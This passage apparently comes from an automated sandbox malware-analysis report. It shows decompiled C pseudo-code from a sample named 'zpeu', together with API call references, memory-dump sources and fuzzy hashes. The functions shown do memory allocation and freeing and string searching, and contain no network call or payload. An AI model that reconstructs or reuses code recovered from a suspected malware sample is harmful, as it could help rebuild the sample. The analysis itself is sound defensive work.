                                      								_t36 =  *0x10004040;
                                      								GlobalFree(_t36);
                                      								 *0x10004040 =  *_t36;
                                      							}
                                      							goto L14;
                                      						}
                                      						_t38 = _t19 - 0x4c;
                                      						if(_t38 == 0) {
                                      							goto L17;
                                      						}
                                      						_t39 = _t38 - 4;
                                      						if(_t39 == 0) {
                                      							 *_t54 =  *_t54 + 0xa;
                                      							goto L12;
                                      						}
                                      						_t26 = _t39 - _t42;
                                      						if(_t26 == 0) {
                                      							 *_t54 =  *_t54 + 0xa;
                                      							goto L10;
                                      						}
                                      						goto L7;
                                      						L14:
                                      					} while ( *_t52 != 0);
                                      					_t17 = _v0;
                                      					goto L16;
                                      				}
                                      			}





















                                      0x100010e6
                                      0x100010f0
                                      0x100010ff
                                      0x1000110e
                                      0x10001119
                                      0x1000111c
                                      0x1000112b
                                      0x1000112f
                                      0x10001131
                                      0x100011d8
                                      0x100011de
                                      0x10001137
                                      0x10001138
                                      0x10001138
                                      0x1000113d
                                      0x1000113e
                                      0x10001140
                                      0x10001143
                                      0x1000120d
                                      0x10001210
                                      0x100011b0
                                      0x100011b6
                                      0x100011bf
                                      0x100011c4
                                      0x100011c7
                                      0x00000000
                                      0x100011c7
                                      0x10001212
                                      0x10001214
                                      0x10001196
                                      0x1000119d
                                      0x100011a5
                                      0x00000000
                                      0x100011a5
                                      0x10001161
                                      0x10001162
                                      0x1000116a
                                      0x10001177
                                      0x1000117f
                                      0x10001188
                                      0x1000118d
                                      0x1000118d
                                      0x00000000
                                      0x10001162
                                      0x10001149
                                      0x100011df
                                      0x100011df
                                      0x100011e6
                                      0x100011f3
                                      0x100011f8
                                      0x100011fb
                                      0x10001203
                                      0x10001205
                                      0x10001205
                                      0x00000000
                                      0x100011e6
                                      0x1000114f
                                      0x10001152
                                      0x00000000
                                      0x00000000
                                      0x10001158
                                      0x1000115b
                                      0x100011ac
                                      0x00000000
                                      0x100011ac
                                      0x1000115d
                                      0x1000115f
                                      0x10001192
                                      0x00000000
                                      0x10001192
                                      0x00000000
                                      0x100011c9
                                      0x100011c9
                                      0x100011d3
                                      0x00000000
                                      0x100011d7

                                      APIs
                                      • GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
                                      • GlobalFree.KERNEL32(00000000), ref: 100011C7
                                      • GlobalFree.KERNEL32(00000000), ref: 100011D9
                                      • GlobalFree.KERNEL32(?), ref: 10001203
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56287645095.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000002.00000002.56287621187.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287670249.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287691268.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_10000000_zpeu.jbxd
                                      Similarity
                                      • API ID: Global$Free$Alloc
                                      • String ID:
                                      • API String ID: 1780285237-0
                                      • Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
                                      • Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
                                      • Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
                                      • Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00405CA3(void* __ecx, CHAR* _a4, CHAR* _a8) {
                                      				int _v8;
                                      				int _t12;
                                      				int _t14;
                                      				int _t15;
                                      				CHAR* _t17;
                                      				CHAR* _t27;
                                      
                                      				_t12 = lstrlenA(_a8);
                                      				_t27 = _a4;
                                      				_v8 = _t12;
                                      				while(lstrlenA(_t27) >= _v8) {
                                      					_t14 = _v8;
                                      					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
                                      					_t15 = lstrcmpiA(_t27, _a8);
                                      					_t27[_v8] =  *(_t14 + _t27);
                                      					if(_t15 == 0) {
                                      						_t17 = _t27;
                                      					} else {
                                      						_t27 = CharNextA(_t27);
                                      						continue;
                                      					}
                                      					L5:
                                      					return _t17;
                                      				}
                                      				_t17 = 0;
                                      				goto L5;
                                      			}









                                      0x00405cb3
                                      0x00405cb5
                                      0x00405cb8
                                      0x00405ce4
                                      0x00405cbd
                                      0x00405cc6
                                      0x00405ccb
                                      0x00405cd6
                                      0x00405cd9
                                      0x00405cf5
                                      0x00405cdb
                                      0x00405ce2
                                      0x00000000
                                      0x00405ce2
                                      0x00405cee
                                      0x00405cf2
                                      0x00405cf2
                                      0x00405cec
                                      0x00000000

                                      APIs
                                      • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F8C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CB3
                                      • lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405CCB
                                      • CharNextA.USER32(00000000,?,00000000,00405F8C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CDC
                                      • lstrlenA.KERNEL32(00000000,?,00000000,00405F8C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CE5
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: lstrlen$CharNextlstrcmpi
                                      • String ID:
                                      • API String ID: 190613189-0
                                      • Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
                                      • Instruction ID: b35bc10bc40a781af4b0b0b13ea0e0b48c2ad23c6ba402853768862ad0a65ea6
                                      • Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
                                      • Instruction Fuzzy Hash: 2CF0F631204918FFDB02DFA4CD4099FBBA8EF06350B2540BAE841FB311D634DE01ABA8
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • LocalAlloc.KERNEL32(00000040,?,00000000,?,?), ref: 000802FE
                                      • VirtualAlloc.KERNEL32(00000000,00400000,00001000,00000004), ref: 0008034C
                                      • LocalFree.KERNELBASE(00000000), ref: 000803BB
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000005.00000003.56720690867.0000000000080000.00000020.00001000.00020000.00000000.sdmp, Offset: 00080000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_5_3_80000_zpeu.jbxd
                                      Similarity
                                      • API ID: AllocLocal$FreeVirtual
                                      • String ID: ,
                                      • API String ID: 1791776162-3772416878
                                      • Opcode ID: e3acfca55933822c155660506bd812470d889a6c1c683faf6f7b57039a729d84
                                      • Instruction ID: 4ccf0168e91be1077500c9e66ff671c0e9268d121b2881e7b2e5f1170af9cd34
                                      • Opcode Fuzzy Hash: e3acfca55933822c155660506bd812470d889a6c1c683faf6f7b57039a729d84
                                      • Instruction Fuzzy Hash: EC413D75900706EBCB50EF69C885AAFBBF8FF08354F14841AF959A7201D770EA44CB60
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000005.00000003.56720690867.0000000000080000.00000020.00001000.00020000.00000000.sdmp, Offset: 00080000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_5_3_80000_zpeu.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
                                      • Instruction ID: 692229e2181a2fe5168e17bc909d6d40c47d6f723f72201fcf37737fb541d2c9
                                      • Opcode Fuzzy Hash: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
                                      • Instruction Fuzzy Hash: C6F06D79601300CFCBA4EF49C55C895B7F6FB8572076541A5D8449B322D3F0ED88CBA0
                                      Uniqueness

                                      Uniqueness Score: -1.00%